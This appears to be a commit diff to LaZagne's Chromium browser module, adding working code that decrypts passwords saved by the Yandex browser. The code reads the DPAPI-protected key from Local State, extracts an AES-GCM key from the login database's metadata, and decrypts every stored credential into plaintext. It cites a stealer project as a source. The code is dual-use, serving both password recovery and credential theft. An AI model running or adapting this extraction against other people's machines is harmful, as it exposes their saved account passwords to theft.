11# -*- coding: utf-8 -*-
2+
3+ # Thank you all for the Yandex browser support:
4+ # - https://github.com/AlessandroZ/LaZagne/issues/483
5+ # Here are great projects:
6+ # - https://github.com/Goodies365/YandexDecrypt
7+ # - https://github.com/LimerBoy/Soviet-Thief
8+
29import base64
310import json
411import os
1017import traceback
1118
1219from Crypto .Cipher import AES
20+ from Crypto .Hash import SHA1
21+ from Crypto .Util .Padding import unpad
1322
1423from lazagne .config .constant import constant
1524from lazagne .config .module_info import ModuleInfo
2029class ChromiumBased (ModuleInfo ):
2130 def __init__ (self , browser_name , paths ):
2231 self .paths = paths if isinstance (paths , list ) else [paths ]
23- self .database_query = 'SELECT action_url , username_value, password_value FROM logins'
32+ self .database_query = 'SELECT origin_url , username_value, password_value FROM logins'
2433 ModuleInfo .__init__ (self , browser_name , 'browsers' , winapi_used = True )
2534
2635 def _get_database_dirs (self ):
@@ -82,7 +91,50 @@ def _decrypt_v80(self, buff, master_key):
8291 except :
8392 pass
8493
85- def _export_credentials (self , db_path , is_yandex = False , master_key = None ):
94+ def _yandex_extract_enc_key (self , db_cursor , decrypted_key ):
95+ db_cursor .execute ('SELECT value FROM meta WHERE key = \' local_encryptor_data\' ' )
96+ local_encryptor = db_cursor .fetchone ()
97+
98+ # Check local encryptor values
99+ if local_encryptor == None :
100+ self .debug ('[!] Failed to read local encryptor' )
101+ return None
102+
103+ # Locate encrypted key bytes
104+ local_encryptor_data = local_encryptor [0 ]
105+ index_enc_data = local_encryptor_data .find (b'v10' )
106+ if index_enc_data == - 1 :
107+ self .debug ('[!] Encrypted key blob not found' )
108+ return None
109+
110+ # Extract cipher data
111+ encrypted_key_blob = local_encryptor_data [index_enc_data + 3 : index_enc_data + 3 + 96 ]
112+ nonce = encrypted_key_blob [:12 ]
113+ ciphertext = encrypted_key_blob [12 :- 16 ]
114+ tag = encrypted_key_blob [- 16 :]
115+
116+ # Initialize the AES cipher
117+ aes_decryptor = AES .new (decrypted_key , AES .MODE_GCM , nonce = nonce )
118+
119+ # Decrypt the key
120+ decrypted_data = aes_decryptor .decrypt_and_verify (ciphertext , tag )
121+
122+ # Check signature
123+ if int .from_bytes (decrypted_data [:4 ], 'little' ) != 0x20120108 :
124+ print ('[!] Signature of decrypted local_encryptor_data incorrect' )
125+ return None
126+
127+ # Got the key :P
128+ return decrypted_data [4 :36 ]
129+
130+ def _yandex_decrypt (self , key : bytes , encrypted_data : bytes , nonce : bytes , tag : bytes , aad : bytes ) -> str :
131+ cipher = AES .new (key , AES .MODE_GCM , nonce = nonce )
132+ if aad :
133+ cipher .update (aad )
134+ decrypted_data = cipher .decrypt_and_verify (encrypted_data , tag )
135+ return decrypted_data .decode ('utf-8' )
136+
137+ def _export_credentials (self , db_path , is_yandex = False , master_key = None , original_path = None ):
86138 """
87139 Export credentials from the given database
88140
@@ -91,57 +143,67 @@ def _export_credentials(self, db_path, is_yandex=False, master_key=None):
91143 :rtype: tuple
92144 """
93145 credentials = []
94- yandex_enckey = None
95146
96147 if is_yandex :
148+ localState = os .path .join (original_path .split ('User Data' )[0 ], 'User Data' , 'Local State' )
149+ if not os .path .exists (localState ):
150+ return []
151+
152+ with open (localState , 'rb' ) as fjson :
153+ encrypted_key = base64 .b64decode (json .load (fjson )['os_crypt' ]['encrypted_key' ])[5 :]
154+ decrypted_key = Win32CryptUnprotectData (encrypted_key , is_current_user = constant .is_current_user ,
155+ user_dpapi = constant .user_dpapi )
156+
97157 try :
98- credman_passwords = Credman ().run ()
99- for credman_password in credman_passwords :
100- if b'Yandex' in credman_password .get ('URL' , b'' ):
101- if credman_password .get ('Password' ):
102- yandex_enckey = credman_password .get ('Password' )
103- self .info ('EncKey found: {encKey}' .format (encKey = repr (yandex_enckey )))
158+ conn = sqlite3 .connect (db_path )
159+ cursor = conn .cursor ()
104160 except Exception :
105161 self .debug (traceback .format_exc ())
106- # Passwords could not be decrypted without encKey
107- self .info ('EncKey has not been retrieved' )
108162 return []
109163
110- try :
111- conn = sqlite3 .connect (db_path )
112- cursor = conn .cursor ()
113- cursor .execute (self .database_query )
114- except Exception :
115- self .debug (traceback .format_exc ())
116- return credentials
164+ enc_key = self ._yandex_extract_enc_key (cursor , decrypted_key )
165+ if not enc_key :
166+ self .info ('[!] Failed to extract enc key' )
167+ return []
168+ self .debug ('Encrypted key found: %s' % enc_key )
117169
118- for url , login , password in cursor .fetchall ():
119- try :
120- # Yandex passwords use a masterkey stored on windows credential manager
121- # https://yandex.com/support/browser-passwords-crypto/without-master.html
122- if is_yandex and yandex_enckey :
170+ # Execute queries
171+ cursor .execute ('SELECT origin_url, username_element, username_value, password_element, password_value, signon_realm FROM logins' )
172+ for url , username_element , username , password_element , password , signon_realm in cursor .fetchall ():
173+ if type (url ) == bytes :
174+ url = url .decode ()
175+ # Get AAD
176+ str_to_hash = f'{ url } \0 { username_element } \0 { username } \0 { password_element } \0 { signon_realm } '
177+ hash_obj = SHA1 .new ()
178+ hash_obj .update (str_to_hash .encode ('utf-8' ))
179+ # Decrypt password value
180+ if len (password ) > 0 :
123181 try :
124- try :
125- p = json .loads (str (password ))
126- except Exception :
127- p = json .loads (password )
182+ decrypted = self ._yandex_decrypt (
183+ key = enc_key ,
184+ encrypted_data = password [12 :- 16 ],
185+ nonce = password [:12 ],
186+ tag = password [- 16 :],
187+ aad = hash_obj .digest ()
188+ )
189+ credentials .append ((url , username , decrypted ))
190+ except Exception as e :
191+ print (e )
128192
129- password = base64 .b64decode (p ['p' ])
130- except Exception :
131- # New version does not use json format
132- pass
133-
134- # Passwords are stored using AES-256-GCM algorithm
135- # The key used to encrypt is stored on the credential manager
193+ else :
194+ try :
195+ conn = sqlite3 .connect (db_path )
196+ cursor = conn .cursor ()
197+ cursor .execute (self .database_query )
198+ except Exception :
199+ self .debug (traceback .format_exc ())
200+ return credentials
136201
137- # yandex_enckey:
138- # - 4 bytes should be removed to be 256 bits
139- # - these 4 bytes correspond to the nonce ?
202+ for url , login , password in cursor .fetchall ():
203+ try :
204+ if type (url ) == bytes :
205+ url = url .decode ()
140206
141- # cipher = AES.new(yandex_enckey, AES.MODE_GCM)
142- # plaintext = cipher.decrypt(password)
143- # Failed...
144- else :
145207 # Decrypt the Password
146208 if password and password .startswith (b'v10' ): # chromium > v80
147209 if master_key :
@@ -160,14 +222,14 @@ def _export_credentials(self, db_path, is_yandex=False, master_key=None):
160222 if password_bytes not in [None , False ]:
161223 password = password_bytes .decode ("utf-8" )
162224
163- if not url and not login and not password :
164- continue
225+ if not url and not login and not password :
226+ continue
165227
166- credentials .append ((url , login , password ))
167- except Exception :
168- self .debug (traceback .format_exc ())
228+ credentials .append ((url , login , password ))
229+ except Exception :
230+ self .debug (traceback .format_exc ())
169231
170- conn .close ()
232+ conn .close ()
171233 return credentials
172234
173235 def copy_db (self , database_path ):
@@ -210,12 +272,12 @@ def run(self):
210272 self .debug ('Database found: {db}' .format (db = database_path ))
211273
212274 # Copy database before to query it (bypass lock errors)
213- path = self .copy_db (database_path )
214- if path :
275+ cp_path = self .copy_db (database_path )
276+ if cp_path :
215277 try :
216- credentials .extend (self ._export_credentials (path , is_yandex , master_key ))
278+ credentials .extend (self ._export_credentials (cp_path , is_yandex , master_key , database_path ))
217279 except Exception :
218280 self .debug (traceback .format_exc ())
219- self .clean_file (path )
281+ self .clean_file (cp_path )
220282
221283 return [{'URL' : url , 'Login' : login , 'Password' : password } for url , login , password in set (credentials )]
0 commit comments